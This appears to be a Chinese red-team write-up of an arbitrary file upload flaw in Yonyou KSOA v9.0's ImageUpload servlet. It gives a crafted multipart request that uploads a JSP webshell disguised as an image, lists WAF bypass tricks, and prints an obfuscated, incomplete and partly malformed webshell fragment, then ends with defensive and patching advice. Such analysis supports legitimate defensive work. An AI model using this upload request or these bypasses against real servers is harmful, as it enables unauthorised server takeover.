实战红队挖掘漏洞---用友时空KSOA v9.0版本ImageUpload任意文件上传漏洞+getshell
字数 1114 2025-08-10 12:17:54
用友时空KSOA v9.0 ImageUpload任意文件上传漏洞分析与利用
漏洞概述
用友时空KSOA v9.0版本中存在一个高危的任意文件上传漏洞,攻击者可以通过构造特定的HTTP请求,利用ImageUpload功能上传恶意文件,最终获取服务器控制权限。
漏洞影响
- 受影响版本:用友时空KSOA v9.0
- 漏洞类型:任意文件上传漏洞
- 危害等级:高危
- 影响范围:使用该版本的所有系统
漏洞原理
用友时空KSOA平台的ImageUpload功能未对上传文件进行充分的安全检查,导致攻击者可以上传任意类型的文件,包括恶意JSP脚本文件。由于上传的文件会被服务器解析执行,攻击者可以利用此漏洞获取服务器控制权限。
漏洞验证与利用
漏洞验证步骤
- 识别目标系统:确认目标系统为用友时空KSOA v9.0版本
- 构造上传请求:通过抓包工具捕获正常的文件上传请求
- 修改数据包:将上传文件类型修改为JSP脚本文件
详细利用过程
-
准备Webshell:
- 由于目标系统是Java环境,需要准备JSP格式的Webshell
- 原始Webshell可能被拦截,需要进行编码处理
-
构造上传请求:
POST /servlet/imageUpload HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxxxxxx ------WebKitFormBoundaryxxxxxx Content-Disposition: form-data; name="file"; filename="test.jsp" Content-Type: image/jpeg <%@page import="java.util.*,java.io.*"%> <% // JSP webshell代码 %> ------WebKitFormBoundaryxxxxxx-- -
绕过防护措施:
- 尝试对Webshell进行编码处理(如Unicode编码)
- 尝试修改Content-Type为允许的类型(如image/jpeg)
- 尝试使用不同的文件扩展名(如.jspx、.jspf)
-
访问上传的Webshell:
- 上传成功后,访问上传的JSP文件路径
- 验证Webshell是否能够正常执行
高级绕过技术
-
Unicode编码绕过:
<%@ page language="java" pageEncoding="UTF-8"%> <%! String PASSWORD = "sys"uuuuu0070\uuuuuuuuu0075\uuuuuuu0062\uuuuuuu006c\uuuuuuu0069\uuuuuuuuuu0063\uuuuuuu0020\uuuu0073\uuuuu0074\uu0061\uuuu0074\uuuuuu0069\uuuuu0063\uuuuuuuuuu0020\uuuuu0053\uu0074\uu0072\uuuuu0069\uuuuuuuu006e\uuuuu0067\uuuuuuuuu0020\uuuuuu0071\uuuuuuu0055\uuuuuu004f\uuuuuuuuu0079\uuuuuu0044\uuuuuuuuuu0061\uuuuuuuu004f\uuuuuu0079\uuuuuuuu0043\uuuuuuuu0069\uuuuuuuu0028\uuuuu0053\uuuuuuu0074\uuuuuu0072\uuuuuuu0069\uuuuuu006e\uuuuuu0067\uuuuuu0020\uuuu0073\uuuuu0074\uuuuuuuuuu0072\uuuuuuu002c\uu0020\uuuuu0069\uuuuuu006e\uuuuuuuuu0074\uuuuuuuuu0020\uuuuu006f\uuuuuuuuu0066\uuuuuuuuuu0066\uuuuuuuuu0073\uuuuuuu0065\uuuuuu0074\uuuuuuuuu0029\uuuuuuuuu0020\uuuuuuuuu007b\uuuu0074\uuuu0072\uuuuuuuuuu0079\uuuuuuuuuu0020\uuu007b\uuu0062\uuuu0079\uuuu0074\uuuuuuu0065\uuu005b\uuuuuuuuuu005d\uuu0020\uuuuuuuu004d\uuuuu0076\uuuuuuuu0078\uuuuu0063\uuuuuuuuuu0052\uuu0052\uuuuuuuuuu0069\uuuuuuu0076\uuuu0041\uuu0055\uuuuuu006b\uuuuuuuuu0062\uuuuuuuuu0069\uuuu005a\uuuuu004b\uuuuu0045\uuuu004e\uuuuu006f\uuuuuuuuu004a\uuuuuuu0066\uuuuuuuuuu0020\uuuuuuu003d\uuuuuuuuu0020\uu006e\uuuuu0065\uuuuuuu0077\uuuuuuu0020\uuu0073\uuuuuu0075\uuuuu006e\uu002e\uuu006d\uuuuuuuu0069\uu0073\uuuuu0063\uuuuuuuu002e\uuuu0042\uuuuuuuuuu0041\uuuuuu0053\uuu0045\uuuuuuuuuu0036\uuuuuu0034\uuuuu0044\uuuu0065\uu0063\uuuuuuu006f\uuu0064\uuuuuu0065\uuuuuuuu0072\uuuu0028\uuuuuu0029\uuuuu002e\uuuuuuuuu0064\uuuuuuuuu0065\uuuuuuu0063\uu006f\uuuuu0064\uuuu0065\uu0042\uuuuuuu0075\uuuuuu0066\uuu0066\uuuuuuuuu0065\uuuuuuuu0072\uuuuuuuuu0028\uu0073\uuuuuuuuuu0074\uuuuu0072\uu0029\uuu003b\uuuuuuu0073\uuuuuu0074\uuuuuuuu0072\uuuuuuuuu0020\uuuuuuuu003d\uuuu0020\uuuuu006e\uuuuuuuuu0065\uuuuuuuuu0077\uu0020\uuuuu0053\uuuuuu0074\uuuuu0072\uuu0069\uuuuuuuuu006e\uuuuuuuuuu0067\uuuu0028\uuuuuuuuuu004d\uuuuuuu0076\uuuuuuuuu0078\uuuuuuuu0063\uuuuuuuu0052\uuu0052\uuuuuu0069\uuuuuu0076\uuuuuu0041\uuuuuuuuu0055\uuuuuuuuu006b\uuu0062\uu0069\uuuuuuuuu005a\uuuuuuuuu004b\uuuuuuuu0045\uuuuuuuuu004e\uu006f\uu004a\uuuuuuuu0066\uuuuuu0029\uuuuuuuu003b -
文件内容混淆:
- 使用Java反射等高级技术构造Webshell
- 将敏感函数调用拆分为多个部分
- 使用动态加载技术
防御措施
-
输入验证:
- 严格验证上传文件的类型和内容
- 实现文件内容检查机制
-
文件存储:
- 将上传文件存储在非Web可访问目录
- 对上传文件重命名,避免直接使用用户提供的文件名
-
权限控制:
- 限制上传目录的执行权限
- 使用最低权限原则运行Web服务器
-
安全配置:
- 禁用不必要的HTTP方法
- 配置Web服务器不解析特定扩展名的文件
-
补丁升级:
- 及时升级到最新版本
- 应用厂商提供的安全补丁
漏洞修复建议
- 升级到最新版本,确保已修复此漏洞
- 如果暂时无法升级,可采取以下临时措施:
- 禁用ImageUpload功能
- 在Web应用防火墙(WAF)中添加针对此漏洞的防护规则
- 监控上传目录的文件变化
总结
用友时空KSOA v9.0的ImageUpload任意文件上传漏洞是一个高危漏洞,攻击者可以利用此漏洞完全控制服务器。建议所有使用该版本的用户立即采取防护措施,并尽快升级到安全版本。